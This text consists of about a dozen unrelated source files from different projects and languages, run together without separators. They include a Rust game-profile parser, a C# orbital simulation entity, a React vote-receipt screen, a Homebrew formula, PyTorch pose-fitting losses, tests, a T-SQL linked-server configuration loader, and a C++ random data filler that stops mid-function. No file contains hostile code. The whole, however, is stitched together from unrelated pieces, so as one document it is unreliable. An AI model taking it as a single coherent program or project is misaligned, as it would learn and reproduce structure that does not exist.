// Copyright 2017-2020 Aron Heinecke // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use json::JsonValue; use json; use regex::Regex; use crate::error::Error; use crate::Clan; use crate::Member; // https://regex101.com/r/XsoG5T/5 const REGEX_WINS: &str = r#"<div class="match_details">(\d+)<br><span>Wins</span>"#; const REGEX_LOSSES: &str = r#"<div class="match_details">(\d+)<br><span>Losses</span>"#; const REGEX_DRAWS: &str = r#"<div class="match_details">(\d+)<br><span>Draws</span>"#; const REGEX_MEMBERS: &str = r#"<div>(\d+).?Clan members"#; const KEY_MEMBERSHIP: &str = "position_title"; /// Parse profile page for name /// https://crossfire.z8games.com/rest/userprofile.json?command=header&usn=9926942 /// Returns None if account is reported as not existing pub fn parse_profile(input: &str) -> Result<Option<String>, Error> { let mut parsed = json::parse(input)?; if parsed["p_o_ErrID"] == -702 { return Ok(None); } let mut head = parsed["dsProfileHeaderInfo"].take(); if head.len() == 0 { return Err(Error::Parser( "dsProfileHeaderInfo contains 0 elements!".to_owned(), )); } let mut obj = head[0].take(); let name = get_string_value(&mut obj, "NICK")?; Ok(Some(name)) } /// Parse a raw member json request to a vec of Members pub fn parse_all_member(input: &str) -> Result<(Vec<Member>, i32), Error> { //Result<Vec<Member>,Error> { let mut parsed = json::parse(input)?; let total = get_i32_value(&mut parsed, "Total_Count")?; let mut pmembers = parsed["members"].take(); let members: Vec<Member> = pmembers .members_mut() .map(|x| parse_member(x)) // Result<Option<Member>,Error> .filter_map(|r| // change it, to be usable by filter_map match r { Ok(Some(x)) => Some(Ok(x)), Err(x) => Some(Err(x)), _ => None, }) .collect::<Result<Vec<Member>, _>>()?; Ok((members, total)) } /// Parse json object to member, /// moving the value fn parse_member(input: &mut JsonValue) -> Result<Option<Member>, Error> { if check_is_member(input, KEY_MEMBERSHIP) { Ok(Some(Member { name: get_string_value(input, "name")?, id: get_i32_value(input, "USN")?, exp: get_i64_value(input, "xp_point")?, contribution: get_i32_value(input, "contribution")?, })) } else { Ok(None) } } /// Parse a raw clan http request to a clan data structure pub fn parse_clan(input: &str) -> Result<Clan, Error> { let regex_wins = Regex::new(REGEX_WINS)?; let regex_draws = Regex::new(REGEX_DRAWS)?; let regex_losses = Regex::new(REGEX_LOSSES)?; let regex_members = Regex::new(REGEX_MEMBERS)?; let wins: u16; if let Some(caps) = regex_wins.captures(input) { let capture = caps.get(1).unwrap(); wins = capture.as_str().parse::<u16>()? } else { return Err(Error::Parser(String::from("unable to parse wins"))); } let draws: u16; if let Some(caps) = regex_draws.captures(input) { let capture = caps.get(1).unwrap(); draws = capture.as_str().parse::<u16>()? } else { return Err(Error::Parser(String::from("unable to parse draws"))); } let losses: u16; if let Some(caps) = regex_losses.captures(input) { let capture = caps.get(1).unwrap(); losses = capture.as_str().parse::<u16>()? } else { return Err(Error::Parser(String::from("unable to parse losses"))); } let members: u8; if let Some(caps) = regex_members.captures(input) { let capture = caps.get(1).unwrap(); members = capture.as_str().parse::<u8>()? } else { return Err(Error::Parser(String::from("unable to parse members"))); } let clan = Clan { members, wins, losses, draws, }; Ok(clan) } /// Helper function to get a string value from a json object /// Returns an error if the key is non existent or the value no string fn get_string_value(input: &mut JsonValue, key: &str) -> Result<String, Error> { let mut val = get_value(input, key)?; val.take_string() .ok_or_else(|| Error::Parser(format!("Value for {} is no string", key))) } /// Helper function to get a i32 from a provided json object /// Returns an error if the key is non existent or the value is no i32 fn get_i32_value(input: &mut JsonValue, key: &str) -> Result<i32, Error> { let val = get_value(input, key)?; val.as_i32() .ok_or_else(|| Error::Parser(format!("Value for {} is no i32", key))) } /// Helper function to get a i64 from a provided json object /// Returns an error if the key is non existent or the value is no i32 fn get_i64_value(input: &mut JsonValue, key: &str) -> Result<i64, Error> { let val = get_value(input, key)?; val.as_i64() .ok_or_else(|| Error::Parser(format!("Value for {} is no i64", key))) } /// Helper function to get a u32 from a provided json object /// Returns an error if the key is non existent or the value is no u32 #[allow(dead_code)] fn get_u32_value(input: &mut JsonValue, key: &str) -> Result<u32, Error> { let val = get_value(input, key)?; val.as_u32() .ok_or_else(|| Error::Parser(format!("Value for {} is no u32", key))) } /// Helper function to get a json sub-object under the provided key /// Returns an error if the key has no value fn get_value(input: &mut JsonValue, key: &str) -> Result<JsonValue, Error> { let val = input[key].take(); if val == JsonValue::Null { Err(Error::Parser(format!("No value for {}", key))) } else { Ok(val) } } fn check_is_member(input: &mut JsonValue, key: &str) -> bool { let val = input[key].take(); val != JsonValue::Null } #[cfg(test)] mod test { use super::check_is_member; use super::parse_member; use super::KEY_MEMBERSHIP; use super::*; use json; use Clan; use Member; #[test] fn parse_profile_test() { let test_input = include_str!("../../tests/test_profile.json"); assert_eq!( Some("Dr.Alptraum".to_owned()), parse_profile(&test_input).unwrap() ); let test_input_invalid = include_str!("../../tests/test_profile_invalid.json"); assert_eq!(None, parse_profile(&test_input_invalid).unwrap()); } /// Test full parsing of parse_all_member #[test] fn parse_all_member_test() { let input = include_str!("../../tests/test_json_members.json"); let mut var = Vec::new(); var.push(Member { name: String::from("Dr.Alptraum"), id: 9926942, exp: 10826457, contribution: 6830, }); let (r, total) = parse_all_member(input).unwrap(); assert_eq!(var, r); assert_eq!(56, total); } /// Test parsing of single member function parse_member #[test] fn parse_member_test() { let input = include_str!("../../tests/test_json_member_valid.json"); let mut parsed = json::parse(input).unwrap(); let mut pmember = parsed["members"][0].take(); let output = parse_member(&mut pmember).unwrap(); let mem_thomas = Member { name: String::from("Dr.Alptraum"), id: 9926942, exp: 14444738, contribution: 9639, }; assert_eq!(output, Some(mem_thomas)); } /// Test for non-member detection #[test] fn parse_member_invalid_test() { let input = include_str!("../../tests/test_json_member_invalid.json"); let mut parsed = json::parse(input).unwrap(); let mut pmember = parsed["members"][0].take(); let output = parse_member(&mut pmember).unwrap(); assert_eq!(output, None); } #[test] fn check_member_test() { let input = include_str!("../../tests/test_json_members.json"); let mut parsed = json::parse(input).unwrap(); let mut valid_member = parsed["members"][0].take(); let mut invalid_member = parsed["members"][1].take(); assert_eq!(true, check_is_member(&mut valid_member, KEY_MEMBERSHIP)); assert_eq!(false, check_is_member(&mut invalid_member, KEY_MEMBERSHIP)); } /// Test clan parsing parse_clan #[test] fn parse_clan_test() { let input = include_str!("../../tests/test_http_clan.txt"); let clan = Clan { members: 35, wins: 12324, losses: 7195, draws: 449, }; let parsed_clan = parse_clan(input).unwrap(); assert_eq!(parsed_clan, clan); } #[test] fn check_member_i64_exp_test() { let input = include_str!("../../tests/test_json_member_i64.json"); dbg!(json::parse(input).unwrap()); parse_all_member(input).unwrap(); // let mut valid_member = parsed["members"][0].take(); // let mut invalid_member = parsed["members"][1].take(); // assert_eq!(true, check_is_member(&mut valid_member, KEY_MEMBERSHIP)); // assert_eq!(false, check_is_member(&mut invalid_member, KEY_MEMBERSHIP)); } }
using System.ComponentModel; using System.Xml.Serialization; using Aspire.Framework; using Aspire.Primitives; using Aspire.Utilities; namespace Aspire.Space { public class Entity : Model, IHaveFrames { /// <summary> /// Default constructor /// </summary> public Entity() { frames = new FrameList(); bodyFrame = new DynamicFrame("body", frames); lvlhFrame = new DynamicFrame("lvlh", frames); Enabled = false; } #region Declarations const string category = "Entity"; /// <summary> /// The body frame. Can be wrt Inertial or some parent frame, such as ECEF. /// </summary> protected DynamicFrame bodyFrame; /// <summary> /// The ECEF state /// </summary> protected EcefState ecef = new EcefState(); /// <summary> /// The Earth frame /// </summary> protected DynamicFrame ecefFrame; [Blackboard] protected Dcm eciToBodyDcm = new Dcm(); [Blackboard] protected Dcm eciToLvlhDcm = new Dcm(); /// <summary> /// A derived class can access the initial euler offset directly. /// </summary> protected Vector3? eulerOffset; /// <summary> /// Scratch rotation DCM used for euler rotation /// </summary> protected Dcm eulerRotDcm = new Dcm().Identity(); [Blackboard] protected Dcm localEcefDcm = new Dcm().Identity(); /// <summary> /// The Local Vertical / Local Horizontal frame /// </summary> protected DynamicFrame lvlhFrame; // created in Discover AstroClock clock; bool positionIsEcef, updateEci; #endregion #region Model implementation public override void Discover(Scenario scenario) { var prevFrame = bodyFrame.SetAsCurrent(); if (frames.Name.Length == 0) frames.Name = Name; frames.CollectAssociatedFrames(bodyFrame); clock = scenario.Clock.GetService(typeof(AstroClock)) as AstroClock; base.Discover(scenario); if (Parent != null) { Enabled = false; if (Parent.Name.Contains("Earth")) positionIsEcef = true; } prevFrame.SetAsCurrent(); } public override void Initialize() { SetInitialState(initialState); SetInitialAttitude(initialAttitude); Enabled = true; var item = Blackboard.Subscribe(".Visuals.Visible"); if (item != null) item.Value = true; base.Initialize(); } public override void Execute() { if (updateEci) { position = ecefFrame.ToParentDcm * ecef.Position; // position is ECI UpdateAttitude(); } base.Execute(); if (positionIsEcef) position = ecef.Position; } #endregion void UpdateAttitude() { eciToLvlhDcm = localEcefDcm * ecefFrame.FromParentDcm; lvlhFrame.FromParentDcm = eciToLvlhDcm; if (eulerOffset.HasValue) { eciToBodyDcm = eulerRotDcm * eciToLvlhDcm; bodyFrame.FromParentDcm = eciToBodyDcm; } else bodyFrame.FromParentDcm = eciToLvlhDcm; } #region Initialization /// <summary> /// Euler angle offsets, [deg] /// </summary> [Blackboard("Initial.EulerOffset", Units = "deg"),Category(category),XmlAttribute("eulerOffset")] [Description("Euler angle offsets, [deg]")] [DefaultValue("0,0,0")] public string EulerOffset { get { return eulerOffset != null ? eulerOffset.ToString() : "0,0,0"; //return str.Substring(1, str.Length - 2); } set { eulerOffset = new Vector3(value); eulerRotDcm.Identity().RotationFromDegrees("xyz", eulerOffset.Value); if (eulerOffset.Value.IsZero) eulerOffset = null; } } /// <summary> /// Sets the initial state /// </summary> /// <param name="state"></param> public virtual void SetInitialState(InitialState state) { if (ecefFrame == null) { var earthFrames = ModelMgr.Model("Earth") as IHaveFrames; if (earthFrames != null) ecefFrame = earthFrames.GetFrame("ecef") as DynamicFrame; } switch (state) { case InitialState.ECEF: ecef.SetPosition(initialPosition.Value); if (ecefFrame != null) Log.WriteLine("Can't set InitialState to ECEF without an Earth in the environment."); break; case InitialState.LLA: ecef.SetLatLonAlt(initialPosition.Value[0], initialPosition.Value[1], initialPosition.Value[2]); if (ecefFrame == null) Log.WriteLine("Can't set InitialState to LLA without an Earth in the environment."); break; } if (!(this is Vehicle) && ecefFrame != null) { bodyFrame.Location = position; bodyFrame.Parent = ecefFrame; frames.AddFrame(ecefFrame); position = ecefFrame.ToParentDcm * ecef.Position; // position is ECI updateEci = Parent == null && (state == InitialState.ECEF || state == InitialState.LLA); } } /// <summary> /// Sets the initial attitude /// </summary> /// <param name="initAttitude"></param> public virtual void SetInitialAttitude(InitialAttitude initAttitude) { switch (initAttitude) { case InitialAttitude.LLA: localEcefDcm.Identity().RotateToDegrees("zy", -ecef.Longitude, ecef.Latitude - 90); break; case InitialAttitude.LLANegative: localEcefDcm.Identity().RotateToDegrees("zy", clock.GreenwichHourAngle * Constant.DegPerRad + ecef.Longitude, 90 - ecef.Latitude); break; } if (updateEci) { lvlhFrame.Location = position; UpdateAttitude(); } else if (initAttitude != InitialAttitude.LVLH && ecefFrame != null) { eciToLvlhDcm = localEcefDcm * ecefFrame.FromParentDcm; if (eulerOffset != null) { eciToBodyDcm = eulerRotDcm * eciToLvlhDcm; bodyFrame.FromParentDcm = eciToBodyDcm; } else bodyFrame.FromParentDcm = eciToLvlhDcm; } } #endregion #region Properties /// <summary> /// The body frame, created in Discover /// </summary> [Blackboard,Category(category),XmlIgnore] public DynamicFrame BodyFrame { get { return bodyFrame; } } /// <summary> /// Earth Centered, Earth Fixed reference frame /// </summary> [Blackboard, Category(category), XmlIgnore] [Description("Earth Centered, Earth Fixed reference frame")] public EcefState Ecef { get { return ecef; } set { ecef = value; } } /// <summary> /// How is the position and velocity of the entity set at initialization. /// </summary> [Blackboard("Initial.State"),Category(category),XmlAttribute("initialState"),Instanced] [DefaultValue(InitialState.None)] [Description("How is the position and velocity of the entity set at initialization.")] public virtual InitialState InitialState { get { return initialState; } set { initialState = value; } } InitialState initialState = InitialState.None; /// <summary> /// How is the attitude of the entity set at initialization. /// </summary> [Blackboard("Initial.Attitude"),Category(category),XmlAttribute("initialAttitude"),Instanced] [DefaultValue(InitialAttitude.Identity)] [Description("How is the attitude of the entity set at initialization.")] public virtual InitialAttitude InitialAttitude { get { return initialAttitude; } set { initialAttitude = value; } } InitialAttitude initialAttitude = InitialAttitude.Identity; /// <summary> /// Initial position. Can be ECI, ECF, NED, LLA, UTM /// </summary> [Blackboard("Initial.Position"),Category(category),XmlAttribute("initialPosition"),Instanced] [Description("Initial position. Can be ECI, ECF, NED, LLA, UTM")] [DefaultValue("0,0,0")] public string InitialPosition { get { string str = initialPosition.HasValue ? initialPosition.Value.ToString() : "[0,0,0]"; return str.Substring(1, str.Length - 2); } set { initialPosition = new Vector3(value); } } Vector3? initialPosition; /// <summary> /// /// </summary> [Blackboard, Category(category), XmlIgnore] public DynamicFrame LvlhFrame { get { return lvlhFrame; } } /// <summary> /// Position of entity /// </summary> [Blackboard(Units = "m"), Category(category), XmlIgnore] [Description("ECI position vector [m]")] public Vector3 Position { get { return position; } set { position = value; } } Vector3 position = new Vector3(); #endregion #region IHaveFrames Members FrameList frames; public Frame GetFrame(string name) { return frames.GetFrame(name); } [Category(category),XmlIgnore] public FrameList Frames { get { return frames; } } #endregion } /// <summary> /// Use the InitialState method to initialize an Entity's position and velocity. /// </summary> public enum InitialState { /// <summary> /// Not used /// </summary> None, /// <summary> /// Interpret the initial position as Earth Centered Inertial /// </summary> ECI, /// <summary> /// Interpret the initial position as Earth Centered, Earth Fixed /// </summary> ECEF, /// <summary> /// Interpret the initial position as ...? (not implemented) /// </summary> NED, /// <summary> /// Interpret the initial position as latitude, longitude and altitude /// </summary> LLA, /// <summary> /// Use the OrbitalElements to set ECI position /// </summary> OrbitalElements, /// <summary> /// Interpret the initial position as Universal Transverse Mercator grid + altitude /// </summary> UTMGrid } /// <summary> /// Use the InitialAttitude method to initialize an Entity's attitude. /// </summary> public enum InitialAttitude { /// <summary> /// Leave the attitude initialized to Identity /// </summary> Identity, /// <summary> /// Set the attitude to align the body to the earth local frame /// </summary> LLA, /// <summary> /// Set the attitude to align the body to the -earth local frame /// </summary> LLANegative, /// <summary> /// Set the attitude to the Local Vertical / Local Horizontal frame /// </summary> LVLH } }
import React, { useEffect } from 'react'; import styled from 'styled-components'; const PrintReceiptStyle = styled.div` text-align: center; h1 { font-size: 37px; margin-top: 120px; margin-bottom: 20px; } p { font-size: 17px; margin-bottom: 45px; } img { width: 200px; margin: 0 auto; display: block; } h3 { font-size: 15px; margin-top: 30px; } `; export default props => { useEffect(() => { setTimeout(() => { props.printReceipt(); }, 1000); setTimeout(() => { props.receiptPrintedDone(); }, 3000); }, []); return ( <PrintReceiptStyle> <h1>Благодаря Ви!</h1> <p>Отпечатване на разписката</p> <img src='/ti-glasuvash/machine-vote-print.png'/> <h3>Моля изчакайте...</h3> </PrintReceiptStyle> ); };
class Aah < Formula desc "aah framework CLI, a developer assistant" homepage "https://aahframework.org" version "0.12.2" if OS.mac? url "https://dl.aahframework.org/releases/cli/0.12.2/aah-darwin-amd64.zip" sha256 "7ea19144f185ad850bd54f37c90faf6c65c49948ed50445520f5bd9f1ffe4fc8" elsif OS.linux? # upcoming :) else onoe "Unsupported operating system" end def install bin.install "aah" end def caveats; <<~EOS You may wish to delete `$GOPATH/bin/aah` binary to have smooth experience. Since you have successfully installed aah CLI binary distribution. EOS end test do assert_match "cli v#{version}", shell_output("#{bin}/aah -v") end end
package com.yoelglus.notes.domain import com.yoelglus.notes.domain.gateways.NotesRepository import io.reactivex.Maybe class GetNote(private val notesRepository: NotesRepository) { fun execute(id: Int): Maybe<Note> = notesRepository.getNote(id) }
import torch import torch.nn as nn import numpy as np import os import pickle from utils.geometry import perspective_projection import constants def gmof(x, sigma): """ Geman-McClure error function """ x_squared = x ** 2 sigma_squared = sigma ** 2 return (sigma_squared * x_squared) / (sigma_squared + x_squared) def angle_prior(pose): """ Angle prior that penalizes unnatural bending of the knees and elbows """ # We subtract 3 because pose does not include the global rotation of the model return torch.exp(pose[:, [55-3, 58-3, 12-3, 15-3]] * torch.tensor([1., -1., -1, -1.], device=pose.device)) ** 2 def body_fitting_loss(body_pose, betas, model_joints, camera_t, camera_center, joints_2d, joints_conf, pose_prior, focal_length=5000, sigma=100, pose_prior_weight=4.78, shape_prior_weight=5, angle_prior_weight=15.2, output='sum'): """ Loss function for body fitting """ batch_size = body_pose.shape[0] rotation = torch.eye(3, device=body_pose.device).unsqueeze(0).expand(batch_size, -1, -1) projected_joints = perspective_projection(model_joints, rotation, camera_t, focal_length, camera_center) # Weighted robust reprojection error reprojection_error = gmof(projected_joints - joints_2d, sigma) reprojection_loss = (joints_conf ** 2) * reprojection_error.sum(dim=-1) # Pose prior loss pose_prior_loss = (pose_prior_weight ** 2) * pose_prior(body_pose, betas) # Angle prior for knees and elbows angle_prior_loss = (angle_prior_weight ** 2) * angle_prior(body_pose).sum(dim=-1) # Regularizer to prevent betas from taking large values shape_prior_loss = (shape_prior_weight ** 2) * (betas ** 2).sum(dim=-1) total_loss = reprojection_loss.sum(dim=-1) + pose_prior_loss + angle_prior_loss + shape_prior_loss if output == 'sum': return total_loss.sum() elif output == 'reprojection': return reprojection_loss def camera_fitting_loss(model_joints, camera_t, camera_t_est, camera_center, joints_2d, joints_conf, focal_length=5000, depth_loss_weight=100): """ Loss function for camera optimization. """ # Project model joints batch_size = model_joints.shape[0] rotation = torch.eye(3, device=model_joints.device).unsqueeze(0).expand(batch_size, -1, -1) projected_joints = perspective_projection(model_joints, rotation, camera_t, focal_length, camera_center) op_joints = ['OP RHip', 'OP LHip', 'OP RShoulder', 'OP LShoulder'] op_joints_ind = [constants.JOINT_IDS[joint] for joint in op_joints] gt_joints = ['Right Hip', 'Left Hip', 'Right Shoulder', 'Left Shoulder'] gt_joints_ind = [constants.JOINT_IDS[joint] for joint in gt_joints] reprojection_error_op = (joints_2d[:, op_joints_ind] - projected_joints[:, op_joints_ind]) ** 2 reprojection_error_gt = (joints_2d[:, gt_joints_ind] - projected_joints[:, gt_joints_ind]) ** 2 # Check if for each example in the batch all 4 OpenPose detections are valid, otherwise use the GT detections # OpenPose joints are more reliable for this task, so we prefer to use them if possible is_valid = (joints_conf[:, op_joints_ind].min(dim=-1)[0][:,None,None] > 0).float() reprojection_loss = (is_valid * reprojection_error_op + (1-is_valid) * reprojection_error_gt).sum(dim=(1,2)) # Loss that penalizes deviation from depth estimate depth_loss = (depth_loss_weight ** 2) * (camera_t[:, 2] - camera_t_est[:, 2]) ** 2 total_loss = reprojection_loss + depth_loss return total_loss.sum()
# frozen_string_literal: true RSpec.describe AdminController, type: :controller do describe '#thumbnails' do it 'raises an error if there is no druid parameter' do expect { get :thumbnails }.to raise_error(ActionController::ParameterMissing) end it 'does not raise error if there is a druid parameter' do expect { get :thumbnails, params: { druid: 'ab123cd4567' } }.not_to raise_error end end end
using System; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using Mediator.Net.Binding; using Mediator.Net.TestUtil.Handlers.CommandHandlers; using Mediator.Net.TestUtil.Handlers.RequestHandlers; using Mediator.Net.TestUtil.Messages; using Mediator.Net.TestUtil.Middlewares; using Mediator.Net.TestUtil.TestUtils; using Shouldly; using TestStack.BDDfy; using Xunit; namespace Mediator.Net.Test.TestInheritance { public class TestInheritanceSpec : TestBase { private Guid _id = Guid.NewGuid(); private IMediator _mediator; [Fact] public async Task TestCommandHandler() { ClearBinding(); var builder = new MediatorBuilder(); _mediator = builder.RegisterHandlers(() => { var binding = new List<MessageBinding> { new MessageBinding(typeof(InheritanceCommand), typeof(ChildCommandHandler)) }; return binding; }).Build(); await _mediator.SendAsync(new InheritanceCommand(_id)); RubishBox.Rublish.Count.ShouldBe(2); RubishBox.Rublish[0].ShouldBe(_id); RubishBox.Rublish[1].ShouldBe("From parent"); } [Fact] public async Task TestRequestHandler() { ClearBinding(); var builder = new MediatorBuilder(); _mediator = builder.RegisterHandlers(() => { var binding = new List<MessageBinding> { new MessageBinding(typeof(InheritanceRequest), typeof(ChildRequestHandler)) }; return binding; }).Build(); var response = await _mediator.RequestAsync<InheritanceRequest, InheritanceResponse>(new InheritanceRequest(_id)); response.Id.ShouldBe(_id); response.Content.ShouldBe("Hello world"); } } }
USE [DBAdata] GO /* drop table [tbl_sys_configurations] CREATE TABLE [dbo].[tbl_sys_configurations]( servername varchar (200) not null, [configuration_id] [int] NOT NULL, [name] [nvarchar](35) NOT NULL, [value] [sql_variant] NULL, [minimum] [sql_variant] NULL, [maximum] [sql_variant] NULL, [value_in_use] [sql_variant] NULL, [description] [nvarchar](255) NOT NULL, [is_dynamic] [bit] NOT NULL, [is_advanced] [bit] NOT NULL ) select * from tbl_sys_configurations insert into tbl_sys_configurations select servername FROM tbl_sys_configurations group by servername -- load from cms select ServerName FROM tbl_sys_configurations group by ServerName select * from dbadata.dbo.dba_all_servers where svr_status in ('Running','NU') -- 115 select svr_status,count(*) FROM dba_all_servers group by svr_status */ use DBAdata go alter PROCEDURE [dbo].[Usp_load_sys_config] /* Summary: [Usp_load_sys_config] Contact: Muthukkumaran Kaliyamoorhty SQL DBA ChangeLog: Date Coder Description 2012-06-04 Muthukkumaran Kaliyamoorhty created *******************All the SQL keywords should be written in upper case******************** */ --WITH ENCRYPTION AS BEGIN SET nocount ON --inserting the drive space Truncate table dbadata.dbo.[tbl_sys_configurations] DECLARE @server_name SYSNAME DECLARE @DESC SYSNAME DECLARE @sql varchar(8000) DECLARE @minrow int DECLARE @maxrow int --------------------------------------------------- --Put the local server first --------------------------------------------------- --insert into tbl_sys_configurations --select @@servername,* FROM sys.configurations ORDER BY name ; declare @Load_config table (id int primary key identity, servername varchar(100),Description varchar(100)) insert into @Load_config select Servername , Description from dbadata.dbo.dba_all_servers where svr_status ='running' SELECT @minrow = MIN(id)FROM @Load_config SELECT @maxrow = MAX(id) FROM @Load_config while (@minrow <=@maxrow) begin begin try select @Server_name=Servername , @Desc=Description from @Load_config where ID = @minrow ---------------------------------------------------------------- --insert the value to table --select * from dbadata.dbo.tbl_get_logfiles_size where freespace <5000 and log_size >5000 ----------------------------------------------------------------- /* set @sql= 'EXEC(''SELECT * from OPENQUERY(['+@server_name+'], ''''SELECT @@servername as server_name, count(*) as DB_count from master..sysdatabases where dbid not in (1,2,3,4) and name not in (''''''''ReportServer'''''''',''''''''ReportServerTempDB'''''''') '''')'') ' insert into dbadata.dbo.tbl_db_count exec(@sql) --print @sql */ set @sql= 'EXEC(''SELECT * from OPENQUERY(['+@server_name+'], '''' select '''''''''+@Desc+''''''''', * FROM sys.configurations ORDER BY name '''')'') ' insert into dbadata.dbo.tbl_sys_configurations exec(@sql) --print ' sever'+@server_name+'completed.' end try BEGIN CATCH --SELECT @SERVER_NAME,ERROR_NUMBER() AS ErrorNumber,ERROR_MESSAGE() AS ErrorMessage; insert into tbl_Error_handling SELECT @SERVER_NAME,'sysconfig',[Error_Line] = ERROR_LINE(),[Error_Number] = ERROR_NUMBER(), [Error_Severity] = ERROR_SEVERITY(),[Error_State] = ERROR_STATE(), [Error_Message] = ERROR_MESSAGE(),GETDATE() PRINT 'SERVER ['+@SERVER_NAME+']is not COMPLETED.' END CATCH set @minrow =@minrow +1 end END
package storm.kafka; import java.util.List; public interface PartitionCoordinator { List<PartitionManager> getMyManagedPartitions(); PartitionManager getManager(Partition partition); void refresh(); }
/* * Copyright 2017 MapD Technologies, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file PopulateTableRandom.cpp * @author Wei Hong <wei@map-d.com> * @brief Populate a table with random data * * Copyright (c) 2014 MapD Technologies, Inc. All rights reserved. **/ #include <iostream> #include <string> #include <cstring> #include <cstdlib> #include <cstdint> #include <cfloat> #include <exception> #include <memory> #include <random> #include <boost/functional/hash.hpp> #include "../Catalog/Catalog.h" #include "../DataMgr/DataMgr.h" #include "../Shared/sqltypes.h" #include "../Fragmenter/Fragmenter.h" #include "../Shared/measure.h" using namespace std; using namespace Catalog_Namespace; using namespace Fragmenter_Namespace; size_t random_fill_int16(int8_t* buf, size_t num_elems) { default_random_engine gen; uniform_int_distribution<int16_t> dist(INT16_MIN, INT16_MAX); int16_t* p = (int16_t*)buf; size_t hash = 0; for (size_t i = 0; i < num_elems; i++) { p[i] = dist(gen); boost::hash_combine(hash, p[i]); } return hash; } size_t random_fill_int32(int8_t* buf, size_t num_elems) { default_random_engine gen; uniform_int_distribution<int32_t> dist(INT32_MIN, INT32_MAX); int32_t* p = (int32_t*)buf; size_t hash = 0; for (size_t i = 0; i < num_elems; i++) { p[i] = dist(gen); boost::hash_combine(hash, p[i]); } return hash; } size_t random_fill_int64(int8_t* buf, size_t num_elems) { default_random_engine gen; uniform_int_distribution<int64_t> dist(INT64_MIN, INT64_MAX); int64_t* p = (int64_t*)buf; size_t hash = 0; for (size_t i = 0; i < num_elems; i++) { p[i] = dist(gen); boost::hash_combine(hash, p[i]); } return hash; } size_t random_fill_float(int8_t* buf, size_t num_elems) { default_random_engine gen; uniform_real_distribution<float> dist(FLT_MIN, FLT_MAX); float* p = (float*)buf; size_t hash = 0; for (size_t i = 0; i < num_elems; i++) { p[i] = dist(gen); boost::hash_combine(hash, p[i]); } return hash; } size_t random_fill_double(int8_t* buf, size_t num_elems) { default_random_engine gen; uniform_real_distribution<double> dist(DBL_MIN, DBL_MAX); double* p = (double*)buf; size_t hash = 0; for (size_t i = 0; i < num_elems; i++) { p[i] = dist(gen); boost::hash_combine(hash, p[i]); } return hash; } size_t random_fill_string(vector<string>& stringVec, size_t num_elems, int max_len, size_t& data_volumn) { string chars("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"); default_random_engine gen; uniform_int_distribution<> char_dist(0, chars.size() - 1); uniform_int_distribution<> len_dist(0, max_len); size_t hash = 0; std::hash<std::string> string_hash; for (size_t n = 0; n < num_elems; n++) { int len = len_dist(gen); string s(len, ' '); for (int i = 0; i < len; i++) s[i] = chars[char_dist(gen)]; // cout << "insert string: " << s << endl; stringVec[n] = s; boost::hash_combine(hash, string_hash(s)); data_volumn += len; } return hash; } size_t random_fill_int8array(vector<vector<int8_t>>& stringVec, size_t num_elems, int max_len, size_t& data_volumn) { default_random_engine gen; uniform_int_distribution<int8_t> dist(INT8_MIN, INT8_MAX); uniform_int_distribution<> len_dist(0, max_len); size_t hash = 0; for (size_t n = 0; n < num_elems; n++) { int len = len_dist(gen); vector<int8_t> s(len); for (int i = 0; i < len; i++) { s[i] = dist(gen); boost::hash_combine(hash, s[i]); } stringVec[n] = s; data_volumn += len * sizeof(int8_t); } return hash; } size_t random_fill_int16array(vector<vector<int16_t>>& stringVec, size_t num_elems, int max_len, size_t& data_volumn) { default_random_engine gen; uniform_int_distribution<int16_t> dist(INT16_MIN, INT16_MAX); uniform_int_distribution<> len_dist(0, max_len / 2); size_t hash = 0; for (size_t n = 0; n < num_elems; n++) { int len = len_dist(gen); vector<int16_t> s(len); for (int i = 0; i < len; i++) { s[i] = dist(gen); boost::hash_combine(hash, s[i]); } stringVec[n] = s; data_volumn += len * sizeof(int16_t); } return hash; } size_t random_fill_int32array(vector<vector<int32_t>>& stringVec, size_t num_elems, int max_len, size_t& data_volumn) { default_random_engine gen; uniform_int_distribution<int32_t> dist(INT32_MIN, INT32_MAX); uniform_int_distribution<> len_dist(0, max_len / 4); size_t hash = 0; for (size_t n = 0; n < num_elems; n++) { int len = len_dist(gen); vector<int32_t> s(len); for (int i = 0; i < len; i++) { s[i] = dist(gen); boost::hash_combine(hash, s[i]); } stringVec[n] = s; data_volumn += len * sizeof(int32_t); } return hash; } #define MAX_TEXT_LEN 255 size_t random_fill(const ColumnDescriptor* cd, DataBlockPtr p, size_t num_elems, size_t& data_volumn) { size_t hash = 0; switch (cd->columnType.get_type()) { case kSMALLINT: hash = random_fill_int16(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int16_t); break; case kINT: hash = random_fill_int32(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int32_t); break; case kBIGINT: case kNUMERIC: case kDECIMAL: hash = random_fill_int64(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int64_t); break; case kFLOAT: hash = random_fill_float(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(float); break; case kDOUBLE: hash = random_fill_double(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(double); break; case kVARCHAR: case kCHAR: if (cd->columnType.get_compression() == kENCODING_NONE) hash = random_fill_string(*p.stringsPtr, num_elems, cd->columnType.get_dimension(), data_volumn); break; case kTEXT: if (cd->columnType.get_compression() == kENCODING_NONE) hash = random_fill_string(*p.stringsPtr, num_elems, MAX_TEXT_LEN, data_volumn); break; case kTIME: case kTIMESTAMP: if (cd->columnType.get_dimension() == 0) { if (sizeof(time_t) == 4) { hash = random_fill_int32(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int32_t); } else { hash = random_fill_int64(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int64_t); } } else assert(false); // not supported yet break; 